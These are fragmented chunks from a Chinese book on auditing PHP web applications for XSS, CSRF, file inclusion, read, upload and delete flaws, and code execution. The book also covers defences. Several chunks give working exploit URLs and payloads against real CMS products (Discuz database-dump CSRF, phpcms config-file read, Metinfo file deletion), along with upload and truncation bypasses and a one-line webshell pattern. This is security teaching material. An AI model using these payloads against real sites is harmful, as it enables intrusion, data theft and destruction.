    {"text": "4.2.1.2 存储型XSS 存储型XSS，顾名思义也就是需要先把利用代码保存在比如数据库或文件中，当Web程序读取利用代码并输出在页面上时执行利用代码，它的原理图流程图如图4-5所示。 图 4-5 存储型XSS比反射型要容易利用得多，不用考虑绕过浏览器的过滤，另外在隐蔽性上面也要好得多，特别是在社交网络中的存储型XSS蠕虫能造成大面积的传播，影响非常大，曾经在新浪微博和百度贴吧都爆发过大规模的XSS蠕虫。 同样，要挖掘存储型XSS也是要寻找未过滤的输入点和未过滤的输出函数，这个最终的输出点可能跟输入点完全不在一个业务流上，对于这类可以根据当前代码功能去猜，或者老老实实去追哪里有操作过这个数据，使用表名、字段名去代码里面搜索。"},
    {"text": "4.2.1.3 骑士cms存储型XSS分析 这里笔者临时找了一个叫骑士cms的程序看了下，在后台申请友情链接的地方存在XSS漏洞，常规的特殊字符（如尖括号）和标签的事件（如onerror等）大多被过滤，漏洞挖掘过程如下。 安装好骑士cms后，在后台看到一个友情链接管理如图4-6所示。 图 4-6 前台有一个申请友情链接，根据经验这个申请友情链接的地方应该是一个payload输入的地方，我们先看看/admin/admin_link.php的代码： $act = ！"},
    {"text": "这里是判断访问admin_link.php这个文件的时候有没有act参数，没有就给$act变量赋值为list，即进入到输出友情链接列表的代码： $offset= （ $currenpage-1 ） *$perpage ； $link = get_links （ $offset ， $perpage ， $joinsql.$wheresql.$oederbysql ）； $smarty->assign （ 'link' ， $link ）； $smarty->assign （ 'page' ， $page->show （ 3 ））； $smarty->assign （ 'upfiles_dir' ， $upfiles_dir ）； $smarty->assign （ 'get_link_category' ， get_link_category （））； $smarty->assign （ 'navlabel' ， \"list\" ）； $smarty->display （ 'link/admin_link.htm' ）； get_links（）函数代码如下： function get_links （ $offset ， $perpage ， $get_sql= '' ） { global $db ；"},
    {"text": "$result = $db->query （ \"SELECT l.* ， c.categoryname FROM \".table （ 'link' ） .\" AS l \".$get_sql.$limit ）； while （ $row = $db->fetch_array （ $result ）） { $row_arr[] = $row ； } return $row_arr ；"},
    {"text": "跟进模板页看看，有一个关键的代码片段如下： 其中： <spanduokan-code-cn\">：#FF6600\" title=\"<img src={#$list.link_logo#} border=0/>\" class=\"vtip\">[logo]</span> 这段代码是有问题的，这里直接把显示logo的img标签放在span标签的title里面，当鼠标滑过的时候会调用事件执行显示title即执行img标签，这里的利用点是{#$list.link_logo#}可以是HTML实体编码，从而绕过骑士cms的安全检查。 目前我们已经找到一个输出点了，输入点也根据当前代码功能猜到是在前台申请链接的地方，利用过程如下，在前台申请友情链接页面 http://localhost/74cms/link/add_link.php 的logo字段输入 1 oner&#114 ；"},
    {"text": "图 4-8 4.2.2 漏洞防范 由于XSS漏洞在不同浏览器下有不同的利用方式，而且特别是业务上有需求使用富文本编辑器的时候，防御起来就更加复杂，所以在XSS防御这块应该从多个方面入手，尽量减少XSS漏洞。 4.2.2.1 特殊字符HTML实体转码 一般的XSS漏洞都是因为没过滤特殊字符，导致可以通过注入单双引号以及尖括号等字符利用漏洞，比如一个图片标签如下<img src=\"$_GET['a']\"/>，则可以通过输入双引号来闭合第一个单引号利用漏洞，防御这类的XSS漏洞只需要过滤掉相关的特殊字符即可，特殊字符列表如下： 1）单引号（'） 2）双引号（\"） 3）尖括号（<>） 4）反斜杠（\\） 5）冒号（：） 6）and符（&） 7）#号（#） 还有两个问题，这些字符应该怎么过滤，什么时候过滤？"},
    {"text": "4.2.2.2 标签事件属性黑白名单 上面我们提到过滤特殊字符来防止XSS漏洞，实际上即使过滤了也同样可能会被绕过，比如利用跟宽字节注入一样的方式来吃掉反斜杠，再利用标签的事件来执行js代码，面对这样的情况，我们还得加标签事件的黑名单或者白名单，这里更推荐用白名单的方式，实现规则可以直接用正则表达式来匹配，如果匹配到的事件不在白名单列表，就直接拦截掉，而不是替换为空。"},
    {"text": "4.3 CSRF漏洞 CSRF全称为Cross-site request forgery，跨站请求伪造。 说白一点就是可以劫持其他用户去进行一些请求，而这个CSRF的危害性就看当前这个请求是进行什么操作了。"},
    {"text": "举一个最简单的例子，比如直接请求http://x.com/del.php?id=1可以删除ID为1的账号，但是只有管理员有这个删除权限，而如果别人在其他某个网站页面加入<img src=”http://x.com/del.php?id=1”>再把这个页面发送给管理员，只要管理员打开这个页面，同时浏览器也会利用当前登录的这个管理员权限发出http://x.com/del.php?id=1这个请求，从而劫持了这个账号做一些攻击者没有权限做的事情。 上面举的这个例子只是其中一个场景，更严重的像添加管理员账号、修改网站配置直接写入webshell等等都有很多案例。"},
    {"text": "4.3.1 挖掘经验 CSRF主要是用于越权操作，所有漏洞自然在有权限控制的地方，像管理后台、会员中心、论坛帖子以及交易管理等，这几个场景里面，管理后台又是最高危的地方，而CSRF又很少被关注到，因此至今还有很多程序都存在这个问题。 我们在挖掘CSRF的时候可以先搭建好环境，打开几个有非静态操作的页面，抓包看看有没有token，如果没有token的话，再直接请求这个页面，不带referer。 如果返回的数据还是一样的话，那说明很有可能有CSRF漏洞了，这个是一个黑盒的挖掘方法，从白盒角度来说的话，只要读代码的时候看看几个核心文件里面有没有验证token和referer相关的代码，这里的核心文件指的是被大量文件引用的基础文件，或者直接搜\"token\"这个关键字也能找，如果在核心文件没有，再去看看你比较关心的功能点的代码有没有验证。"},
    {"text": "Discuz CSRF备份拖库分析 下面我们来分析一个Discuz CSRF可以直接脱裤的漏洞，这个漏洞影响非常大，漏洞在刚公开的时候导致了大量的Discuz论坛被拖库，漏洞来源乌云缺陷编号：WooYun-2014-64886，作者是跟笔者同一个team（safekey）的matt。"},
    {"text": "$backupdir ） {$backupdir = random （ 6 ）； @mkdir （ './data/backup_'.$backupdir ， 0777 ）； // 文件夹名是六位随机数 C ：： t （ 'common_setting' ） ->update （ 'backupdir' ， $backupdir ）；"},
    {"text": "$_GET['filename'] || ！ preg_match （ '/^[\\w\\_]+$/' ， $_GET['filename'] ）） { cpmsg （ 'database_export_filename_invalid' ， '' ， 'error' ）； }/* 省略，往下走 */$backupfilename = './data/'.$backupdir.'/'.str_replace （ array （ '/' ， '\\\\' ， '.' ， \"'\" ）， '' ， $_GET['filename'] ）； // 文件名从 $_GET['filename'] ）获取，可控 if （ $_GET['usezip'] ） { require_once './source/class/class_zip.php' ； } if （ $_GET['method'] == 'multivol' ） { $sqldump = '' ； $tableid = intval （ $_GET['tableid'] ）； $startfrom = intval （ $_GET['startfrom'] ）；"},
    {"text": "$complete && $tableid < count （ $tables ） && strlen （ $sqldump ） + 500 < $_GET ['sizelimit'] * 1000 ； $tableid++ ） { $sqldump .= sqldumptable （ $tables[$tableid] ， $startfrom ， strlen （ $sqldump ））； if （ $complete ） { $startfrom = 0 ； } } $dumpfile = $backupfilename.\"-%s\".'.sql' ； //$dumpfile 为最终导出文件名，下面的代码是写文件 在这个漏洞中，由于表名和文件都是直接GET提交的，目录名由一个固定的backup加上一个六位数字组成，备份成功后可以直接爆破，最终利用可以直接在论坛发帖加入下面代码即可： <img src=\"http ： //127.0.0.1/discuz/admin.php ？ action=db&operation=export&setup=1&scrolltop=&anchor=&type=custom&customtables%5B%5D={ 表名 }&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename={ 文件名 }&exportsubmit=%CC%E1%BD%BB22\"> 利用截图，如图4-9所示。"},
    {"text": "4.3.2 漏洞防范 防御CSRF漏洞的最主要问题是解决可信的问题，即使是管理员权限提交到服务器的数据，也不一定是完全可信的，所以针对CSRF的防御有以下两点：1）增加token/referer验证避免img标签请求的水坑攻击，2）增加验证码。"},
    {"text": "利用验证Token的方式是目前使用的最多的一种，也是效果最好的一种，可以简单理解成在页面或者cookie里面加一个不可预测的字符串，服务器在接收操作请求的时候只要验证下这个字符串是不是上次访问留下的即可判断是不是可信请求，因为如果没有访问上一个页面，是无法得到这个Token的，除非结合XSS漏洞或者有其他手段能获得通信数据。"},
    {"text": "function set_token （） { $_SESSION['token'] = md5 （ time （） +rand （ 1 ， 1000 ））； } function check_token （） { if （ isset （ $_POST['token'] ） &&$_POST['token'] === $_SESSION['token'] ） { return true ；"},
    {"text": "4.3.2.2 验证码验证 验证码验证没有Token那么实用，考虑到用户体验，不可能让用户每个页面都去输入一次验证码，这估计用户得疯掉，所以一般这种方式只用在敏感操作的页面，比如像登录页面，实现方式跟Token差不多，这里就不再详细给出代码。"},
    {"text": "第5章 漏洞挖掘与防范（进阶篇） 在本章我们会介绍文件操作、系统命令执行以及代码执行有关的漏洞，会从应用接触到更多系统以及中间件特性有关的东西，所以会相当有意思，进入到本书的进阶篇，是不是更兴奋呢？"},
    {"text": "5.1 文件操作漏洞 文件操作包括文件包含、文件读取、文件删除、文件修改以及文件上传，这几种文件操作的漏洞有部分的相似点，但是每种漏洞都有各自的漏洞函数以及利用方式，下面我们来具体分析下它们的形成原因、挖掘方式以及修复方案。 5.1.1 文件包含漏洞 PHP的文件包含可以直接执行包含文件的代码，包含的文件格式是不受限制的，只要能正常执行即可。 文件包含又分为本地文件包含（local file include）和远程文件包含（remote file include），顾名思义就能理解它们的差别在哪，而不管哪种都是非常高危的，渗透过程中文件包含漏洞大多可以直接利用获取webshell。"},
    {"text": "文件包含函数有include（）、include_once（）、require（）和require_once（），它们之间的区别在于：include（）和include_once（）在包含文件时即使遇到错误，下面的代码依然会继续执行；"},
    {"text": "5.1.1.1 挖掘经验 文件包含漏洞大多出现在模块加载、模板加载以及cache调用的地方，比如传入的模块名参数，实际上是直接把这个拼接到了包含文件的路径中，比如像espcms的代码： $archive = indexget （ 'archive' ， 'R' ）；"},
    {"text": "传入的archive参数就是被包含的文件名，所以我们在挖掘文件包含漏洞的时候可以先跟踪一下程序运行流程，看看里面模块加载时包含的文件是否可控，另外就是直接搜索include（）、include_once（）、require（）和require_once（）这四个函数来回溯看看有没有可控的变量，它们的写法可以在括号里面写要包含的路径，也可以直接用空格再跟路径。"},
    {"text": "5.1.1.2 本地文件包含 本地文件包含（local file include，LFI）是指只能包含本机文件的文件包含漏洞，大多出现在模块加载、模板加载和cache调用这些地方，渗透的时候利用起来并不鸡肋，本地文件包含有多种利用方式，比如上传一个允许上传的文件格式的文件再包含来执行代码，包含PHP上传的临时文件，在请求URL或者ua里面加入要执行的代码，WebServer记录到日志后再包含WebServer的日志，还有像Linux下可以包含/proc/self/environ文件。"},
    {"text": "图 5-1 1.远程文件包含 远程文件包含（remote file include，RFI）是指可以包含远程文件的包含漏洞，远程文件包含需要设置allow_url_include=On，PHP5.2之后这个选项的可修改范围是PHP_INI_ALL。"},
    {"text": "四个文件包含的函数都支持HTTP、FTP等协议，相对于本地文件包含，它更容易利用，不过出现的频率没有本地文件包含多，偶尔能挖到，下面我们来看看基于HTTP协议测试代码： < ？"},
    {"text": "远程文件包含还有一种PHP输入输出流的利用方式，可以直接执行POST代码，这里我们仍然用上面这个代码测试，只要执行POST请求1.php？ a=php：//input，POST内容为PHP代码\"<？"},
    {"text": "2.文件包含截断 大多数的文件包含漏洞都是需要截断的，因为正常程序里面包含的文件代码一般是像include（BASEPATH.$mod.'.php'）或者include（$mod.'.php'）这样的方式，如果我们不能写入以.php为扩展名的文件，那我们是需要截断来利用的。"},
    {"text": "%00截断受限于GPC和addslashes等函数的过滤，也就是说，在开启GPC的情况下是不可用的，另外在PHP5.3之后的版本全面修复了文件名%00截断的问题，所以在5.3之后的版本也是不能用这个方法截断的。 下面我们来演示一下%00截断，测试代码1.php： < ？"},
    {"text": "）来伪截断，不受GPC和PHP版本限制，只要能返回代码给包含函数，它就能执行，在HTTP协议里面访问 http://remotehost/1.txt 和访问 http://remotehost/1.txt?.php 返回的结果是一样的，因为这时候WebServer把问号（？ ）之后的内容当成是请求参数，而txt不在WebServer里面解析，参数对访问1.txt返回的内容不影响，所以就实现了伪截断。"},
    {"text": "漏洞出现在文件/message/index.php，这个地方调用模块方式是直接从GET请求中获取模块名，拼接到require_once函数中，因此模块名可控导致了可以远程包含文件，代码如下： if （！"},
    {"text": "$metid ） $metid='index' ； if （ $metid ！ ='index' ） { require_once $metid.'.php' ； }else{ /* 省略 */ } $metid是从GET提交的，这段代码的意思是，如果提交的参数metid不是index，则执行require_once$metid.'.php'去包含加载模块文件，这里可以用我们上面说的三种方式来利用，假设allow_url_include=on，只要在远程写一个1.txt的文件，利用问号来伪截断即可，或者搭一个不解析PHP的WebServer，访问的时候不加文件扩展名，这里给出当时写文档时留的一个截图，如图5-4所示。"},
    {"text": "图 5-4 5.1.2 文件读取（下载）漏洞 文件读取漏洞与下载漏洞差别不大，这里就合并在一起说，文件读取漏洞在很多大型应用上都出现过，印象比较深的是2012年的时候phpcmsv9的任意文件读取，可以直接读取数据库配置文件，当时也是有很多企业因为这个漏洞被入侵。 这个漏洞很容易理解，部分程序在下载文件或者读取显示文件的时候，读取文件的参数filename直接在请求里面传递，后台程序获取到这个文件路径后直接读取返回，问题在于这个参数是用户可控的，可以直接传入想要读取的文件路径即可利用。 挖掘经验： 文件读取的漏洞寻找起来很是比较容易的，一种方式是可以先黑盒看看功能点对应的文件，再去读文件，这样找起来会比较快。 另外一种方式就是去搜索文件读取的函数，看看有没有可以直接或者间接控制的变量，文件读取函数列表如下：file_get_contents（）、highlight_file（）、fopen（）、readfile（）、fread（）、fgetss（）、fgets（）、parse_ini_file（）、show_source（）、file（），除了这些正常的读取文件的函数之外，另外一些其他功能的函数也一样可以用来读取文件，比如文件包含函数include等，可以利用PHP输入输出流php：//filter/来读取文件。 phpcms任意文件读取分析 这里介绍phpcms v9的任意文件读取漏洞，漏洞作者为safekey team核心成员zvall。 漏洞位于文件/phpcms/modules/search/index.phppublic_的get_suggest_keyword函数，代码如下： public function public_get_suggest_keyword （） { $url = $_GET['url'].'&q='.$_GET['q'] ；"},
    {"text": "} 这里可以看到该函数直接从GET参数里面获取要读取的URL，然后使用file_get_contents函数来读取内容，不过这里有一点要说一下，如果直接提交？ url=&q=1.php我们打印出来url变量可以看到值为“&q=1.php”，带到函数里面则是file_get_contents（“&q=1.php”），这样是读不到当前文件的，需要？ url=&q=../../1.php这样多加两个”../”，把“&q=”当成目录来跳过，最终这个漏洞读取数据库配置文件的EXP为： /index.php ？ m=search&c=index&a=public_get_suggest_keyword&url=&q=../../phpsso_server/caches/configs/database.php 利用截图如图5-5所示。"},
    {"text": "图 5-5 5.1.3 文件上传漏洞 文件上传漏洞是出现最早的漏洞，也是最容易理解的漏洞，应用程序都是代码写的，代码都是写在文件里面执行的，如果能把文件上传到管理员或者应用程序不想让你上传的目录，那就是存在文件上传漏洞。 注意这里并不是说一定是上传一个WebServer可以解析的代码文件到可以解析的目录，漏洞的定义是做攻击目标不想让你做的事情，而你又发现可以做到。"},
    {"text": "在早期Web安全不太普及的时候，文件上传漏洞大多是没有限制文件格式导致可以直接上传文件，到近几年这类例子已经很少见，目前存在较多的是黑名单过滤存在绕过导致文件上传漏洞。 挖掘经验： 文件上传漏洞比较好理解，同样挖掘起来也比较简单，一般应用可以上传文件的点比较少，其次是目前大多Web应用都是基于框架来写，上传的点都是调用的同一个上传类，上传函数又只有move_uploaded_file（）这一个，所以文件上传漏洞在代码审计的时候，最快的方法就是直接去搜索move_uploaded_file（）函数，再去看调用这个函数上传文件的代码存不存在未限制上传格式或者可以绕过，其中问题比较多的是黑名单限制文件格式以及未更改文件名的方式，没有更改文件名的情况下，在Apache利用其向前寻找解析格式和IIS6的分号解析bug都可以执行代码。 1.未过滤或本地过滤 未过滤和本地过滤共同点是在服务器端都未过滤，这个未过滤指的是没限制任何格式的文件上传，就是一个最简单的文件上传功能，上传的时候直接上传PHP格式的文件即可利用，它的代码简化之后就直接是下面这样： < ？"},
    {"text": "PHP能够在大多数的WebServer上配置解析，不同的WebServer默认有不同的可以解析的扩展名，典型的IIS默认是支持解析ASP语言的，不过在IIS下执行ASP的代码可不止.asp这个扩展名，还有cdx、asa、cer等，如果代码里面没有把这些写全，一旦漏掉一个就相当于没做限制。 我们来看看PHPCMSv9里面限制的： $savefile = preg_replace （ \"/ （ php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm |aspx|asax|cgi|fcgi|pl ）（ \\.|$ ） /i\" ， \"_\\\\1\\\\2\" ， $savefile ）；"},
    {"text": "// 获取文件扩展名 $FilenameExt = strtolower （ getExt （ $_FILES[\"file\"][\"name\"] ））； # 判断是否在被允许的扩展名里 if （ in_array （ $FilenameExt ， $disallowed_types ）） { die （ \"disallowed type\" ）； } else { $filename = time （） .\".\".$FilenameExt ； // 移动文件 move_uploaded_file （ $_FILES[\"file\"][\"tmp_name\"] ， \"upload/\" . $FileName ）； } 这段代码的问题在获取文件扩展名与验证扩展名，如果我们上传文件的时候文件名为“1.php”，注意后面有一个空格，则这里$FilenameExt的值为“php”，后面有一个空格，这时候in_array（$FilenameExt，$disallowed_types）是返回false的，最终成功上传文件。 另外一种情况是正确的黑名单方式验证了扩展名，但是文件名没有修改，导致可以在上传时使用“%00”来截断写入，如“1.php%00.jpg”，验证扩展名时拿到的扩展名是jpg，写入的时候被%00截断，最终写入文件1.php，这里不再给出案例。 3.文件头、content-type验证绕过 这两种方式也是早期出现得比较多的，早期搞过渗透的人可能遇到过，上传文件的时候，如果直接上传一个非图片文件会被提示不是图片文件，但是在文件头里面加上“GIF89a”后上传，则验证通过，这是因为程序用了一些不可靠的函数去判断是不是图片文件，比如getimagesize（）函数，只要文件头是“GIF89a”，它就会正常返回一个图片的尺寸数组，我们来验证一下，测试代码： < ？"},
    {"text": "图 5-6 content-type是在http request的请求头里面，所以这个值是可以由请求者自定义修改的，而早期的一些程序只是单纯验证了这个值，笔者在写这段文字的时候还专门去w3school等网站看了上面的PHP教程就存在这个问题。"},
    {"text": "php $type = $_FILES['img']['type'] ； if （（ $type == \"image/pjpeg\" ） || （ $type == \"image/jpg\" ） || （ $type == \"image/jpeg\" ） || （ $type == \"image/gif\" ） || （ $type == \"image/bmp\" ） || （ $type == \"image/png\" ） || （ $type == \"image/x-png\" ）） { //uploading } ？"},
    {"text": "> 4.phpcms任意文件上传分析 这里我们以PHPCMSv9在2014年公开的一个会员投稿处文件上传漏洞，漏洞作者felixk3y，漏洞乌云编号：wooyun-2014-062881，漏洞在文件/phpcms/libs/classes/attachment.class.php的upload（）函数，为了易于理解，这里省略部分代码，代码如下： function upload （ $field ， $alowexts = '' ， $maxsize = 0 ， $overwrite = 0 ， $thumb_setting = array （）， $watermark_enable = 1 ） { /*** 省略 ***/ $this->alowexts = $alowexts ； // 获取允许上传的类型 /*** 省略 ***/ foreach （ $uploadfiles as $k=>$file ） { // 多文件上传，循环读取文件上传表单 $fileext = fileext （ $file['name'] ）； // 获取文件扩展名 /*** 省略 ***/ // 检查上传格式，不过 $alowexts 是从表单提交的，可绕过 if （！ preg_match （ \"/^ （ \".$this->alowexts.\" ） $/\" ， $fileext ）） { $this->error = '10' ；"},
    {"text": "} /*** 省略 ***/ $temp_filename = $this->getname （ $fileext ）； $savefile = $this->savepath.$temp_filename ； $savefile = preg_replace （ \"/ （ php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl ）（ \\.|$ ） /i\" ， \"_\\\\1\\\\2\" ， $savefile ）； // 最需要绕过的地方在这里 /*** 保存文件 ***/ if （ @$upload_func （ $file['tmp_name'] ， $savefile ）） { 从上面的代码我们可以看出，这个漏洞最有意思的地方在： $savefile = preg_replace （ \"/ （ php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa| shtml|shtm |aspx|asax|cgi|fcgi|pl ）（ \\.|$ ） /i\" ， \"_\\\\1\\\\2\" ， $savefile ）； 而获取文件扩展名的函数内容为： function fileext （ $filename ） { return strtolower （ trim （ substr （ strrchr （ $filename ， '.' ）， 1 ， 10 ）））；"},
    {"text": "} 这里用了trim（）函数去掉了空格，我们之前举例用空格绕过的方式在这里就不好使了，那有没有其他字符一样可以达到空格的效果呢，即“1.phpX”，X代表某个字符？"},
    {"text": "仔细看正则会把如“1.php”替换为“1._php”，把“1.php.jpg”替换为“1._php.jpg”，作者利用fuzz的方式找到了%81-%99是可行的，仅在Windows下。"},
    {"text": "5.1.4 文件删除漏洞 文件删除漏洞出现在有文件管理功能的应用上比较多，这些应用一般也都有文件上传和读取等功能，它的漏洞原理跟文件读取漏洞是差不多的，不过是利用的函数不一样而已，一般也是因为删除的文件名可以用../跳转，或者没有限制当前用户只能删除他该有权限删除的文件。 常出现这个漏洞的函数是unlink（），不过老版本下session_destroy（）函数也可以删除文件。 挖掘经验： 挖掘文件删除漏洞可以先去找相应的功能点，直接黑盒测试一下看能不能删除某个文件，如果删除不了，再去从执行流程去追提交的文件名参数的传递过程，这样查找起来比较精准。"},
    {"text": "关于session_destroy（）函数删除任意文件的漏洞这里就不再举例了，因为在比较早的PHP版本就已经修复掉了这个问题，限制了PHPSESSID只能由“字母+数字+横杆”符号组成。"},
    {"text": "Metinfo任意文件删除分析 这里的案例使用笔者之前发现的一个metinfo企业内容管理系统漏洞来说明，漏洞在recovery.php文件，代码如下： if （ $action=='delete' ） { if （ is_array （ $filenames ）） { foreach （ $filenames as $filename ） { if （ fileext （ $filename ） =='sql' ） { @unlink （ '../databack/'.$filename ）；"},
    {"text": "} } }else{ if （ fileext （ $filenames ） =='sql' ） { $filenamearray=explode （ \".sql\" ， $filenames ）； @unlink （ '../../databack/'.$filenames ）； @unlink （ '../../databack/sql/metinfo_'.$filenamearray[0].\".zip\" ）； }else{ // 如果不是 SQL 文件，直接删除 @unlink （ '../../databack/'.$fileon.'/'.$filenames ）； } } 这段代码首先判断请求的action参数的值是不是delete，如果是则进入文件删除功能，在代码： if （ fileext （ $filenames ） =='sql' ） { 判断如果不是sql文件后，就直接在databack目录删除提交的文件名，代码中$filenames函数从GET中提交，只要请求： /recovery.php ？ &action=delete&filenames=../../index.php 即可删除index.php文件。"},
    {"text": "5.1.5 文件操作漏洞防范 文件操作漏洞在部分原理及利用方式上面都有一定相似性，所以下面我们分为通用防御手段和针对性防御手段来介绍怎么防御文件操作漏洞。 5.1.5.1 通用文件操作防御 文件操作漏洞利用有几个共同点如下： 1）由越权操作引起可以操作未授权操作的文件。"},
    {"text": "我们需要这几个共同点来思考防御手段： ·对权限的管理要合理，比如用户A上传的文件其他平行权限的用户在未授权的情况下不能进行查看和删除等操作，特殊的文件操作行为限定特定用户才有权限，比如后台删除文件的操作，肯定是需要限制管理员才能操作。 ·有的文件操作是不需要直接传入文件名的，比如下载文件的时候，下载的文件是已知的，则我们可以用更安全的方法来替代直接以文件名为参数下载操作，在上传文件时，只要把文件名、文件路径、文件ID（随机MD5形式）以及文件上传人存储在数据库中，下载的时候直接根据文件ID和当前用户名去判断当前用户有没有权限下载这个文件，如果有则读取路径指向的这个文件并返回下载即可。 ·要避免目录跳转的问题，在满足业务需求的情况下，我们可以使用上面第二说的方法，但是有的情况下如后台进行文件编辑等操作时，需要传入文件路径的，可以在后台固定文件操作目录，然后禁止参数中有“..”两个点和反斜杠“/”以及斜杠“\\”来跳转目录，怎么禁止呢？ 检查到传入的参数有这些字符，之间提示禁止操作并停止程序继续往下执行即可。 5.1.5.2 文件上传漏洞防范 文件上传漏洞相比下载、删除更复杂，所以这里单独拿出来讲一下怎么防范，文件上传漏洞虽然定位起来比较简单，但是修复起来要考虑的东西还是不少，主要是不同环境下的利用场景比较多，需要比较完善的策略去防止漏洞出现。 修复和防止一种漏洞之前，要比较全的清楚这种漏洞在不同环境下的利用方式，这样才能防御的比较全，文件上传漏洞主要有两种利用方式，分为上传的文件类型验证不严谨和写入文件不规范。"},
    {"text": "in_array （ $FilenameExt ， $disallowed_types ）） { die （ \"disallowed type\" ）； } else { $filename = md5 （ time （） +rand （ 1 ， 10000 ）） .\".\".$FilenameExt ； // 移动文件 move_uploaded_file （ $_FILES[\"file\"][\"tmp_name\"] ， \"upload/\" . $FileName ）；"},
    {"text": "5.2 代码执行漏洞 代码执行漏洞是指应用程序本身过滤不严，用户可以通过请求将代码注入到应用中执行。 说得好理解一点，类似于SQL注入漏洞，可以把SQL语句注入到SQL服务执行，而PHP代码执行漏洞则是可以把代码注入应用中最终到WebServer去执行。 这样的漏洞如果没有特殊的过滤，相当于直接有一个Web后门存在，该漏洞主要由eval（）、assert（）、preg_replace（）、call_user_func（）、call_user_func_array（）、array_map（）等函数的参数过滤不严格导致，另外还有PHP的动态函数（$a（$b））也是目前出现比较多的。 5.2.1 挖掘经验 eval（）和assert（）函数导致的代码执行漏洞大多是因为载入缓存或者模板以及对变量的处理不严格导致，比如直接把一个外部可控的参数拼接到模板里面，然后调用这两个函数去当成PHP代码执行。 preg_replace（）函数的代码执行需要存在/e参数，这个函数原本是用来处理字符串的，因此漏洞出现最多的是在对字符串的处理，比如URL、HTML标签以及文章内容等过滤功能。"},
    {"text": "call_user_func（）和call_user_func_array（）函数的功能是调用函数，多用在框架里面动态调用函数，所以一般比较小的程序出现这种方式的代码执行会比较少。"},
    {"text": "array_map（）函数的作用是调用函数并且除第一个参数外其他参数为数组，通常会写死第一个参数，即调用的函数，类似这三个函数功能的函数还有很多。"},
    {"text": "除了上面这些函数导致的代码执行漏洞，还有一类非常常见的是动态函数的代码执行，比如下面这样的写法： $_GET （ $_POST[\"xx\"] ） 基于这种写法变形出来的各种异形，经常被用来当作Web后门使用，可以看到这里的PHP函数是从$_GET变量当做字符串传入进来的，这是PHP的一个特性。 5.2.1.1 代码执行函数 PHP代码执行有多种利用方式，但目前见得最多的还是由于函数的使用不当导致的，这类函数还不少，有eval（）、assert（）、preg_replace（）、call_user_func（）、call_user_func_array（）以及array_map（）等，下面我们来详细看看各自产生漏洞的原理和利用方式吧。 1.eval和assert函数 这两个函数原本的作用就是用来动态执行代码，所以它们的参数直接就是PHP代码，我们来看看是怎么使用的，测试代码如下： < ？"},
    {"text": "图 5-7 2.preg_replace函数 preg_replace函数的作用是对字符串进行正则处理，我们在上面的挖掘经验已经介绍了，它经常会出现漏洞的位置，下面我们来看看它在什么情况下才会出现代码执行漏洞。 它的参数和返回如下： mixed preg_replace （ mixed $pattern ， mixed $replacement ， mixed $subject [ ， int $limit = -1 [ ， int &$count ]] ） 这段代码的含义是搜索$subject中匹配$pattern的部分，以$replacement进行替换，而当$pattern处即第一个参数存在e修饰符时，$replacement的值会被当成PHP代码来执行，我们来看一个简单的例子（1.php）。"},
    {"text": "> 正则的意思是从$_GET['str']变量里搜索中括号[]中间的内容作为第一组结果，preg_replace（）函数第二个参数为'\\\\1'代表这里用第一组结果填充，这里是可以直接执行代码的，所以当我们请求/1.php？"},
    {"text": "图 5-8 3.调用函数过滤不严 call_user_func（）和array_map（）等数十个函数有调用其他函数的功能，其中的一个参数作为要调用的函数名，那如果这个传入的函数名可控，那就可以调用意外的函数来执行我们想知道的代码，也就是存在代码执行漏洞。 我们用call_user_func（）函数来举例，函数的作用是调用函数并且第二个参数作为要调用的函数的参数，官方说明如下： mixed call_user_func （ callable $callback [ ， mixed $parameter [ ， mixed $... ]] ） 该函数第一个参数为回调函数，后面的参数为回调函数的参数，测试代码如下： < ？"},
    {"text": "图 5-9 同类的函数还有如下这些： call_user_func （）、 call_user_func_array （）、 array_map （） usort （）、 uasort （）、 uksort （）、 array_filter （） array_reduce （）、 array_diff_uassoc （）、 array_diff_ukey （） array_udiff （）、 array_udiff_assoc （）、 array_udiff_uassoc （） array_intersect_assoc （）、 array_intersect_uassoc （） array_uintersect （）、 array_uintersect_assoc （） array_uintersect_uassoc （）、 array_walk （）、 array_walk_recursive （） xml_set_character_data_handler （）、 xml_set_default_handler （） xml_set_element_handler （）、 xml_set_end_namespace_decl_handler （） xml_set_external_entity_ref_handler （）、 xml_set_notation_decl_handler （） xml_set_processing_instruction_handler （） xml_set_start_namespace_decl_handler （） xml_set_unparsed_entity_decl_handler （）、 stream_filter_register （） set_error_handler （）、 register_shutdown_function （）、 register_tick_function （） 5.2.1.2 动态函数执行 由于PHP的特性原因，PHP的函数可以直接由字符串拼接，这导致了PHP在安全上的控制又加大了难度，比如增加了漏洞数量和提高了PHP后门的查杀难度。 要找漏洞就要先理解为什么程序代码要这么写，不少知名程序中也用到了动态函数的写法，这种写法跟使用call_user_func的初衷是一样的，大多用在框架里，用来更简单更方便地调用函数，但是一旦过滤不严格就会造成代码执行漏洞。 PHP动态函数写法为“变量（参数）”，我们来看一个动态函数后门的写法： < ？"},
    {"text": "当请求a参数值为assert，b参数值为phpinfo（）的时候打印出phpinfo信息，请求如下： http ： //127.0.0.1/test/1.php ？ a=assert&b=phpinfo （） 执行结果如图5-10所示。"},
    {"text": "5.2.1.3 Thinkphp代码执行漏洞分析 要分析代码执行的案例，在Java界来说就是Struts2的代码执行了，不过在PHP领域，国内影响比较大的代码执行漏洞非thinkphp框架URL解析的代码执行漏洞莫属，这个漏洞的影响力，做渗透测试的安全人员应该比较清楚，在国内还是会经常遇到这个漏洞的。 下面我们来分析这个漏洞的原理，thinkphp框架的GET参数以index.php/a/b/c的形式传递，程序在获取参数之前需要先解析URL，漏洞就发生在解析URL的地方，官方补丁对比地址如下： https://code.google.com/p/thinkphp/source/diff？"},
    {"text": "漏洞出现在/ThinkPHP/Lib/Core/Dispatcher.class.php文件的dispatch（）函数，为了节省篇幅，这里只贴出关键代码： $depr = C （ 'URL_PATHINFO_DEPR' ）；"},
    {"text": "empty （ $_SERVER['PATH_INFO'] ）） { tag （ 'path_info' ）； if （ C （ 'URL_HTML_SUFFIX' ）） { $_SERVER['PATH_INFO'] = preg_replace （ '/\\.'.trim （ C （ 'URL_HTML_SUFFIX' ）， '.' ） .'$/i' ， '' ， $_SERVER['PATH_INFO'] ）；"},
    {"text": "self ：： routerCheck （）） { // 检测路由规则 如果没有则按默认规则调度 URL $paths = explode （ $depr ， trim （ $_SERVER['PATH_INFO'] ， '/' ））；"},
